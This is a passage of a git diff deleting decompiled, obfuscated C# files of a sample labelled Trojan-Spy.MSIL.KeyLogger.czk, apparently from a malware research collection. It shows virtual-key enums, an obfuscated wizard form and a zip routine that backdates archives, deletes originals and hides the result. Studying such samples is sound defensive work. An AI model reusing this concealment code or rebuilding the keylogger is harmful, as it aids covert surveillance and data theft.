= 24, // 0x00000018 - VK_HANJA = 25, // 0x00000019 - VK_KANJI = 25, // 0x00000019 - VK_ESCAPE = 27, // 0x0000001B - VK_CONVERT = 28, // 0x0000001C - VK_NONCONVERT = 29, // 0x0000001D - VK_ACCEPT = 30, // 0x0000001E - VK_MODECHANGE = 31, // 0x0000001F - VK_SPACE = 32, // 0x00000020 - VK_PRIOR = 33, // 0x00000021 - VK_NEXT = 34, // 0x00000022 - VK_END = 35, // 0x00000023 - VK_HOME = 36, // 0x00000024 - VK_LEFT = 37, // 0x00000025 - VK_UP = 38, // 0x00000026 - VK_RIGHT = 39, // 0x00000027 - VK_DOWN = 40, // 0x00000028 - VK_SELECT = 41, // 0x00000029 - VK_PRINT = 42, // 0x0000002A - VK_EXECUTE = 43, // 0x0000002B - VK_SNAPSHOT = 44, // 0x0000002C - VK_INSERT = 45, // 0x0000002D - VK_DELETE = 46, // 0x0000002E - VK_HELP = 47, // 0x0000002F - VK_0 = 48, // 0x00000030 - VK_1 = 49, // 0x00000031 - VK_2 = 50, // 0x00000032 - VK_3 = 51, // 0x00000033 - VK_4 = 52, // 0x00000034 - VK_5 = 53, // 0x00000035 - VK_6 = 54, // 0x00000036 - VK_7 = 55, // 0x00000037 - VK_8 = 56, // 0x00000038 - VK_9 = 57, // 0x00000039 - VK_A = 65, // 0x00000041 - VK_B = 66, // 0x00000042 - VK_C = 67, // 0x00000043 - VK_D = 68, // 0x00000044 - VK_E = 69, // 0x00000045 - VK_F = 70, // 0x00000046 - VK_G = 71, // 0x00000047 - VK_H = 72, // 0x00000048 - VK_I = 73, // 0x00000049 - VK_J = 74, // 0x0000004A - VK_K = 75, // 0x0000004B - VK_L = 76, // 0x0000004C - VK_M = 77, // 0x0000004D - VK_N = 78, // 0x0000004E - VK_O = 79, // 0x0000004F - VK_P = 80, // 0x00000050 - VK_Q = 81, // 0x00000051 - VK_R = 82, // 0x00000052 - VK_S = 83, // 0x00000053 - VK_T = 84, // 0x00000054 - VK_U = 85, // 0x00000055 - VK_V = 86, // 0x00000056 - VK_W = 87, // 0x00000057 - VK_X = 88, // 0x00000058 - VK_Y = 89, // 0x00000059 - VK_Z = 90, // 0x0000005A - VK_LWIN = 91, // 0x0000005B - VK_RWIN = 92, // 0x0000005C - VK_APPS = 93, // 0x0000005D - VK_SLEEP = 95, // 0x0000005F - VK_NUMPAD0 = 96, // 0x00000060 - VK_NUMPAD1 = 97, // 0x00000061 - VK_NUMPAD2 = 98, // 0x00000062 - VK_NUMPAD3 = 99, // 0x00000063 - VK_NUMPAD4 = 100, // 0x00000064 - VK_NUMPAD5 = 101, // 0x00000065 - VK_NUMPAD6 = 102, // 0x00000066 - VK_NUMPAD7 = 103, // 0x00000067 - VK_NUMPAD8 = 104, // 0x00000068 - VK_NUMPAD9 = 105, // 0x00000069 - VK_MULTIPLY = 106, // 0x0000006A - VK_ADD = 107, // 0x0000006B - VK_SEPARATOR = 108, // 0x0000006C - VK_SUBTRACT = 109, // 0x0000006D - VK_DECIMAL = 110, // 0x0000006E - VK_DIVIDE = 111, // 0x0000006F - VK_F1 = 112, // 0x00000070 - VK_F2 = 113, // 0x00000071 - VK_F3 = 114, // 0x00000072 - VK_F4 = 115, // 0x00000073 - VK_F5 = 116, // 0x00000074 - VK_F6 = 117, // 0x00000075 - VK_F7 = 118, // 0x00000076 - VK_F8 = 119, // 0x00000077 - VK_F9 = 120, // 0x00000078 - VK_F10 = 121, // 0x00000079 - VK_F11 = 122, // 0x0000007A - VK_F12 = 123, // 0x0000007B - VK_F13 = 124, // 0x0000007C - VK_F14 = 125, // 0x0000007D - VK_F15 = 126, // 0x0000007E - VK_F16 = 127, // 0x0000007F - VK_F17 = 128, // 0x00000080 - VK_F18 = 129, // 0x00000081 - VK_F19 = 130, // 0x00000082 - VK_F20 = 131, // 0x00000083 - VK_F21 = 132, // 0x00000084 - VK_F22 = 133, // 0x00000085 - VK_F23 = 134, // 0x00000086 - VK_F24 = 135, // 0x00000087 - VK_NUMLOCK = 144, // 0x00000090 - VK_SCROLL = 145, // 0x00000091 - VK_OEM_FJ_JISHO = 146, // 0x00000092 - VK_OEM_NEC_EQUAL = 146, // 0x00000092 - VK_OEM_FJ_MASSHOU = 147, // 0x00000093 - VK_OEM_FJ_TOUROKU = 148, // 0x00000094 - VK_OEM_FJ_LOYA = 149, // 0x00000095 - VK_OEM_FJ_ROYA = 150, // 0x00000096 - VK_LSHIFT = 160, // 0x000000A0 - VK_RSHIFT = 161, // 0x000000A1 - VK_LCONTROL = 162, // 0x000000A2 - VK_RCONTROL = 163, // 0x000000A3 - VK_LMENU = 164, // 0x000000A4 - VK_RMENU = 165, // 0x000000A5 - VK_BROWSER_BACK = 166, // 0x000000A6 - VK_BROWSER_FORWARD = 167, // 0x000000A7 - VK_BROWSER_REFRESH = 168, // 0x000000A8 - VK_BROWSER_STOP = 169, // 0x000000A9 - VK_BROWSER_SEARCH = 170, // 0x000000AA - VK_BROWSER_FAVORITES = 171, // 0x000000AB - VK_BROWSER_HOME = 172, // 0x000000AC - VK_VOLUME_MUTE = 173, // 0x000000AD - VK_VOLUME_DOWN = 174, // 0x000000AE - VK_VOLUME_UP = 175, // 0x000000AF - VK_MEDIA_NEXT_TRACK = 176, // 0x000000B0 - VK_MEDIA_PREV_TRACK = 177, // 0x000000B1 - VK_MEDIA_STOP = 178, // 0x000000B2 - VK_MEDIA_PLAY_PAUSE = 179, // 0x000000B3 - VK_LAUNCH_MAIL = 180, // 0x000000B4 - VK_LAUNCH_MEDIA_SELECT = 181, // 0x000000B5 - VK_LAUNCH_APP1 = 182, // 0x000000B6 - VK_LAUNCH_APP2 = 183, // 0x000000B7 - VK_OEM_1 = 186, // 0x000000BA - VK_OEM_PLUS = 187, // 0x000000BB - VK_OEM_COMMA = 188, // 0x000000BC - VK_OEM_MINUS = 189, // 0x000000BD - VK_OEM_PERIOD = 190, // 0x000000BE - VK_OEM_2 = 191, // 0x000000BF - VK_OEM_3 = 192, // 0x000000C0 - VK_OEM_4 = 219, // 0x000000DB - VK_OEM_5 = 220, // 0x000000DC - VK_OEM_6 = 221, // 0x000000DD - VK_OEM_7 = 222, // 0x000000DE - VK_OEM_8 = 223, // 0x000000DF - VK_OEM_AX = 225, // 0x000000E1 - VK_OEM_102 = 226, // 0x000000E2 - VK_ICO_HELP = 227, // 0x000000E3 - VK_ICO_00 = 228, // 0x000000E4 - VK_PROCESSKEY = 229, // 0x000000E5 - VK_ICO_CLEAR = 230, // 0x000000E6 - VK_PACKET = 231, // 0x000000E7 - VK_OEM_RESET = 233, // 0x000000E9 - VK_OEM_JUMP = 234, // 0x000000EA - VK_OEM_PA1 = 235, // 0x000000EB - VK_OEM_PA2 = 236, // 0x000000EC - VK_OEM_PA3 = 237, // 0x000000ED - VK_OEM_WSCTRL = 238, // 0x000000EE - VK_OEM_CUSEL = 239, // 0x000000EF - VK_OEM_ATTN = 240, // 0x000000F0 - VK_OEM_FINISH = 241, // 0x000000F1 - VK_OEM_COPY = 242, // 0x000000F2 - VK_OEM_AUTO = 243, // 0x000000F3 - VK_OEM_ENLW = 244, // 0x000000F4 - VK_OEM_BACKTAB = 245, // 0x000000F5 - VK_ATTN = 246, // 0x000000F6 - VK_CRSEL = 247, // 0x000000F7 - VK_EXSEL = 248, // 0x000000F8 - VK_EREOF = 249, // 0x000000F9 - VK_PLAY = 250, // 0x000000FA - VK_ZOOM = 251, // 0x000000FB - VK_NONAME = 252, // 0x000000FC - VK_PA1 = 253, // 0x000000FD - VK_OEM_CLEAR = 254, // 0x000000FE -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡔ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡔ.cs deleted file mode 100644 index 9b512ece..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡔ.cs +++ /dev/null @@ -1,178 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᡔ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using ICSharpCode.SharpZipLib.Zip; -using ICSharpCode.SharpZipLib.Zip.Compression.Streams; -using System; -using System.IO; - -internal class ᡔ -{ - public static void ᡚ( - string zipPathAndFile, - string outputFolder, - string password, - bool deleteZipFile) - { - do - ; - while (false); - try - { - ZipInputStream zipInputStream = new ZipInputStream((Stream) File.OpenRead(zipPathAndFile)); - if (password != null && password != string.Empty) - zipInputStream.Password = password; - string empty = string.Empty; - ZipEntry nextEntry; - while ((nextEntry = zipInputStream.GetNextEntry()) != null) - { - string path1 = outputFolder; - string fileName = Path.GetFileName(nextEntry.Name); - if (path1 != "") - Directory.CreateDirectory(path1); - if (fileName != string.Empty && nextEntry.Name.IndexOf(".ini") < 0) - { - string path2 = (path1 + "\\" + nextEntry.Name).Replace("\\ ", "\\"); - string directoryName = Path.GetDirectoryName(path2); - if (!Directory.Exists(directoryName)) - Directory.CreateDirectory(directoryName); - FileStream fileStream = File.Create(path2); - byte[] buffer = new byte[2048]; - while (true) - { - int count = ((Stream) zipInputStream).Read(buffer, 0, buffer.Length); - if (count > 0) - fileStream.Write(buffer, 0, count); - else - break; - } - fileStream.Close(); - } - } - ((Stream) zipInputStream).Close(); - if (deleteZipFile) - File.Delete(zipPathAndFile); - } - catch - { - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public static void ᡖ(string fin) - { - do - ; - while (false); - try - { - using (ZipOutputStream zipOutputStream = new ZipOutputStream((Stream) File.Create(fin + ".zip"))) - { - zipOutputStream.SetLevel(9); - byte[] buffer = new byte[4096]; - zipOutputStream.PutNextEntry(new ZipEntry(Path.GetFileName(fin)) - { - DateTime = DateTime.Now - }); - using (FileStream fileStream = File.OpenRead(fin)) - { - int count; - do - { - count = fileStream.Read(buffer, 0, buffer.Length); - ((Stream) zipOutputStream).Write(buffer, 0, count); - } - while (count > 0); - } - ((DeflaterOutputStream) zipOutputStream).Finish(); - ((Stream) zipOutputStream).Close(); - } - } - catch - { - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public static void ᡀ(string fin) - { - do - ; - while (false); - try - { - string path = fin + ".zip"; - using (ZipOutputStream zipOutputStream = new ZipOutputStream((Stream) File.Create(path))) - { - zipOutputStream.SetLevel(9); - byte[] buffer = new byte[4096]; - zipOutputStream.PutNextEntry(new ZipEntry(Path.GetFileName(fin)) - { - DateTime = DateTime.Now.AddMonths(-6) - }); - using (FileStream fileStream = File.OpenRead(fin)) - { - int count; - do - { - count = fileStream.Read(buffer, 0, buffer.Length); - ((Stream) zipOutputStream).Write(buffer, 0, count); - } - while (count > 0); - } - ((DeflaterOutputStream) zipOutputStream).Finish(); - ((Stream) zipOutputStream).Close(); - } - if (File.Exists(fin)) - File.Delete(fin); - if (File.Exists(path)) - File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden); - } - catch - { - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public ᡔ() - { - do - ; - while (false); - // ISSUE: explicit constructor call - base.\u002Ector(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡘ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡘ.cs deleted file mode 100644 index 59b7bf5c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡘ.cs +++ /dev/null @@ -1,118 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᡘ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -public enum ᡘ -{ - VK_LBUTTON = 1, - VK_RBUTTON = 2, - VK_MBUTTON = 4, - VK_BACK = 8, - VK_TAB = 9, - VK_RETURN = 13, // 0x0000000D - VK_SHIFT = 16, // 0x00000010 - VK_CONTROL = 17, // 0x00000011 - VK_PAUSE = 19, // 0x00000013 - VK_CAPITAL = 20, // 0x00000014 - VK_ESCAPE = 27, // 0x0000001B - VK_SPACE = 32, // 0x00000020 - VK_PRIOR = 33, // 0x00000021 - VK_NEXT = 34, // 0x00000022 - VK_END = 35, // 0x00000023 - VK_HOME = 36, // 0x00000024 - VK_LEFT = 37, // 0x00000025 - VK_UP = 38, // 0x00000026 - VK_RIGHT = 39, // 0x00000027 - VK_DOWN = 40, // 0x00000028 - VK_SNAPSHOT = 44, // 0x0000002C - VK_INSERT = 45, // 0x0000002D - VK_DELETE = 46, // 0x0000002E - VK_0 = 48, // 0x00000030 - VK_1 = 49, // 0x00000031 - VK_2 = 50, // 0x00000032 - VK_3 = 51, // 0x00000033 - VK_4 = 52, // 0x00000034 - VK_5 = 53, // 0x00000035 - VK_6 = 54, // 0x00000036 - VK_7 = 55, // 0x00000037 - VK_8 = 56, // 0x00000038 - VK_9 = 57, // 0x00000039 - VK_A = 65, // 0x00000041 - VK_B = 66, // 0x00000042 - VK_C = 67, // 0x00000043 - VK_D = 68, // 0x00000044 - VK_E = 69, // 0x00000045 - VK_F = 70, // 0x00000046 - VK_G = 71, // 0x00000047 - VK_H = 72, // 0x00000048 - VK_I = 73, // 0x00000049 - VK_J = 74, // 0x0000004A - VK_K = 75, // 0x0000004B - VK_L = 76, // 0x0000004C - VK_M = 77, // 0x0000004D - VK_N = 78, // 0x0000004E - VK_O = 79, // 0x0000004F - VK_P = 80, // 0x00000050 - VK_Q = 81, // 0x00000051 - VK_R = 82, // 0x00000052 - VK_S = 83, // 0x00000053 - VK_T = 84, // 0x00000054 - VK_U = 85, // 0x00000055 - VK_V = 86, // 0x00000056 - VK_W = 87, // 0x00000057 - VK_X = 88, // 0x00000058 - VK_Y = 89, // 0x00000059 - VK_Z = 90, // 0x0000005A - VK_NUMPAD0 = 96, // 0x00000060 - VK_NUMPAD1 = 97, // 0x00000061 - VK_NUMPAD2 = 98, // 0x00000062 - VK_NUMPAD3 = 99, // 0x00000063 - VK_NUMPAD4 = 100, // 0x00000064 - VK_NUMPAD5 = 101, // 0x00000065 - VK_NUMPAD6 = 102, // 0x00000066 - VK_NUMPAD7 = 103, // 0x00000067 - VK_NUMPAD8 = 104, // 0x00000068 - VK_NUMPAD9 = 105, // 0x00000069 - VK_MULTIPLICATION = 106, // 0x0000006A - VK_ADDITION = 107, // 0x0000006B - VK_SEPERATOR = 108, // 0x0000006C - VK_SUBTRACT = 109, // 0x0000006D - VK_DECIMAL = 110, // 0x0000006E - VK_DIVIDE = 111, // 0x0000006F - VK_F1 = 112, // 0x00000070 - VK_F2 = 113, // 0x00000071 - VK_F3 = 114, // 0x00000072 - VK_F4 = 115, // 0x00000073 - VK_F5 = 116, // 0x00000074 - VK_F6 = 117, // 0x00000075 - VK_F7 = 118, // 0x00000076 - VK_F8 = 119, // 0x00000077 - VK_F9 = 120, // 0x00000078 - VK_F10 = 121, // 0x00000079 - VK_F11 = 122, // 0x0000007A - VK_F12 = 123, // 0x0000007B - VK_NUMLOCK = 144, // 0x00000090 - VK_SCROLL = 145, // 0x00000091 - VK_LSHIFT = 160, // 0x000000A0 - VK_RSHIFT = 161, // 0x000000A1 - VK_LCONTROL = 162, // 0x000000A2 - VK_RCONTROL = 163, // 0x000000A3 - VK_LMENU = 164, // 0x000000A4 - VK_RMENU = 165, // 0x000000A5 - VK_OEM_1 = 186, // 0x000000BA - VK_OEM_PLUS = 187, // 0x000000BB - VK_OEM_COMMA = 188, // 0x000000BC - VK_OEM_MINUS = 189, // 0x000000BD - VK_OEM_PERIOD = 190, // 0x000000BE - VK_OEM_2 = 191, // 0x000000BF - VK_OEM_3 = 192, // 0x000000C0 - VK_OEM_4 = 219, // 0x000000DB - VK_OEM_5 = 220, // 0x000000DC - VK_OEM_6 = 221, // 0x000000DD - VK_OEM_7 = 222, // 0x000000DE - VK_OEM_8 = 223, // 0x000000DF - VK_PLAY = 250, // 0x000000FA - VK_ZOOM = 251, // 0x000000FB -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡙ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡙ.cs deleted file mode 100644 index e3054ce5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡙ.cs +++ /dev/null @@ -1,114 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᡙ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -public class ᡙ : Form -{ - private IContainer ᡉᙃ; - private Button ᡊᙃ; - private Button ᡋᙃ; - private Control[] ᡘᙃ = new Control[3] - { - (Control) new \u17C8(), - (Control) new \u17CA(), - (Control) new \u17D8() - }; - private int ᡍᙃ; - private ᙀ ᡎᙃ; - - protected override void Dispose(bool disposing) - { - if (disposing && this.ᡉᙃ != null) - this.ᡉᙃ.Dispose(); - base.Dispose(disposing); - } - - private void ᡅᙃ() - { - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ᡙ)); - this.ᡊᙃ = new Button(); - this.ᡋᙃ = new Button(); - this.SuspendLayout(); - this.ᡊᙃ.Location = new Point(4, 297); - this.ᡊᙃ.Name = ᙵ.ᙂ; - this.ᡊᙃ.Size = new Size(75, 23); - this.ᡊᙃ.TabIndex = 0; - this.ᡊᙃ.Text = ᙵ.ᙄ; - this.ᡊᙃ.UseVisualStyleBackColor = true; - this.ᡊᙃ.Click += new EventHandler(this.ᡈᙃ); - this.ᡋᙃ.Location = new Point(576, 297); - this.ᡋᙃ.Name = ᙵ.ᙆ; - this.ᡋᙃ.Size = new Size(75, 23); - this.ᡋᙃ.TabIndex = 1; - this.ᡋᙃ.Text = ᙵ.ᙈ; - this.ᡋᙃ.UseVisualStyleBackColor = true; - this.ᡋᙃ.Click += new EventHandler(this.ᡇᙃ); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(654, 323); - this.Controls.Add((Control) this.ᡋᙃ); - this.Controls.Add((Control) this.ᡊᙃ); - this.Icon = (Icon) componentResourceManager.GetObject(ᙵ.ᙊ); - this.MaximizeBox = false; - this.MaximumSize = new Size(670, 359); - this.MinimizeBox = false; - this.MinimumSize = new Size(670, 359); - this.Name = ᙵ.ᙘ; - this.Text = ᙵ.ᙎ; - this.TopMost = true; - this.Load += new EventHandler(this.ᡆᙃ); - this.ResumeLayout(false); - } - - public ᡙ(ᙀ main) - { - this.ᡅᙃ(); - this.ᡎᙃ = main; - this.Focus(); - } - - private void ᡆᙃ(object ᙂ, EventArgs ᙄ) - { - this.Controls.Add(this.ᡘᙃ[this.ᡍᙃ]); - this.ᡊᙃ.Visible = false; - } - - private void ᡇᙃ(object ᙂ, EventArgs ᙄ) - { - this.ᡊᙃ.Visible = true; - if (this.ᡍᙃ + 1 < this.ᡘᙃ.Length) - { - ++this.ᡍᙃ; - this.Controls.Remove(this.ᡘᙃ[this.ᡍᙃ - 1]); - this.Controls.Add(this.ᡘᙃ[this.ᡍᙃ]); - if (this.ᡍᙃ + 1 != this.ᡘᙃ.Length) - return; - this.ᡋᙃ.Text = ᙵ.ᙾ; - } - else - { - this.ᡎᙃ.Show(); - this.Hide(); - } - } - - private void ᡈᙃ(object ᙂ, EventArgs ᙄ) - { - this.ᡋᙃ.Text = ᙵ.ᙒ; - if (this.ᡍᙃ <= 0) - return; - --this.ᡍᙃ; - this.Controls.Remove(this.ᡘᙃ[this.ᡍᙃ + 1]); - this.Controls.Add(this.ᡘᙃ[this.ᡍᙃ]); - if (this.ᡍᙃ != 0) - return; - this.ᡊᙃ.Visible = false; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡙ.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡙ.resx deleted file mode 100644 index ba9acee3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡙ.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAGYjAAACAAABAAQAICAAAAEAIACoEAAARgAAACAgAAABAAgAqAgAAO4QAAAQEAAAAQAgAGgEAACWGQAAEBAAAAEACABoBQAA/h0AACgAAAAgAAAAQAAAAAEAIAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/28/EP9nN2D/aTeA/2k3gP1pOL/9aTiH/2k3gP5pOGj/ajUYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2c3YP1oNrf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP/9ZzfP/mk4aP9fPwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2k5UP1nN8//aTj//2k4//9pOP//h2H//6CA//+ggP//uKD//6CA//+ggP//j2r//208//9pOP//aTj//Wc45/5pOGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP1pOY//aTj//2k4//9yRP//pYj//8Sx///Kuf//yrn//8q5///Kuf//yrn//8q5///Kuf//yrn//6iM//97Uf//aTj//2k4//1nN6//Xz8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj9Zzev/2k4//9sO///lHH//7yn//+/qv//v6r//7+q//+/qv//v6r//7+q//+/qv//v6r//7+q//+/qv//v6r//7+q//+cfP//bkD//2k4//1nN8//bz8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/Wg3l/9pOP//bT///6OE//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+ni///dUf//2k4//1pOMf/Xz8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oOHD/aTj//Wc37/+fgf//p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+khv//c0X//2k4//1nN68AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Zjko/Wk29/9pOP//jWj//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+Tcf//bD3//2k4//5oN1gAAAAAAAAAAAAAAAAAAAAAAAAAAP1nN6//aTj//5Bs//+QbP//kGz//5Bs//+QbP//kGz//5Bs//+QbP//kGz//6WI//+skf//xLH//8i2///VyP//49r//+Pa///j2v//49r//+Pa///j2v//r5b//5Bs//9/Vv//aTj//Wc45/9fPwgAAAAAAAAAAAAAAAD/ajow/2k4//1pNvf/glj//4Rc//+TcP//o4X//7KZ///Crv//1cf//+Tb///////////////////////////////////////////////////////////////////u6P//o4X//4Nb//9uP///aTj//mk4aAAAAAAAAAAAAAAAAP1pOY//aTj//Wk5j//d0v//////////////////////////////////////////////////////////////////////////////////////////////////////7+/v//+8pv//eEz//3NF//9pOP/9aTi/AAAAAAAAAAAAAAAA/Wk43/9pOP//ooP////////////////////////////////////////////////////////////////////////////////////////////////////////////v7+///6+U//9wQf//cEH//2o4//9pOP//bz8QAAAAAP9nNyD/aTj//Wc37/+xmP////////Lv/////////////////+Li4v/////////////////////////////////////////////////v7+//7+/v/////////////////+/v7///kGz//2s7//9rO///aTn//2k4//5oN1gAAAAA/2c3QP9pOP/9aTjH/519///n4P/////////////6+f//////2NjY/9jY2P/Y2Nj/2NjY/+Li4v/i4uL/4uLi/+/v7//v7+//7+/v/+/v7/////////////////////////bz//9uPv//aTj//2k4//9pOP//aTj//mg4cAAAAAD+aDdY/2k4//9pOP//aTj//2k4//+KZP//y7r/////////////////2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/7+/v////////////////////////vaj//2k4//9pOP//aTj//2k4//9pOP/9aTiHAAAAAP5pOGj/aTj//2k4//9pOP//aTj//2k4//9pOP//gVf//9nN////////9vP//////9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P////////////////////////r5//93S///aTj//2k4//9pOP//aTj//2k4//1oOJ8AAAAA/2k5UP9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//9DB/////////////////9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/////////////////////////////uKH//2k4//9pOP//aTj//2k4//9pOP//aTj//2k3gAAAAAD+aDY4/2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//bj7//+fg/////////////////9jY2P/Y2Nj/2NjY/9jY2P///////////////////////+zm//9uPv//aTj//2k4//9pOP//aTj//2o4//9pOP/+aThoAAAAAP9vPxD/aTj//Wk29/9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//mHb/////////////////2NjY/9jY2P/Y2Nj/////////////////////////////k3D//2k4//9pOP//aTj//2k4//9pOP//aTn//2k4//9nN0AAAAAAAAAAAP1pOMf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//49r////////////Y2Nj/2NjY/+/v7//////////////x7P///////7ih//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP/9Zzfv/18/CAAAAAAAAAAA/2g3eP9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2s6//+1nf///////////+/v7//Y2Nj/////////////7+r////////Yy///azv//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//1pOKcAAAAAAAAAAAAAAAD/ajUY/Wk29/9pOP//aTj//2k4//9pOP//aTj//2k4//9yRP//jmn//6yR////////////7+/v//////////////z6////////6uP//5Nx//+Pa///d0r//2k4//9pOP//aTj//2k4//1pNvf/aTj//2k5UAAAAAAAAAAAAAAAAAAAAAD9aTiH/2k4//9pOP//aTj//2k4//9pOP//d0r//519//+fgP//t6D///////////////////bz/////////////9vP//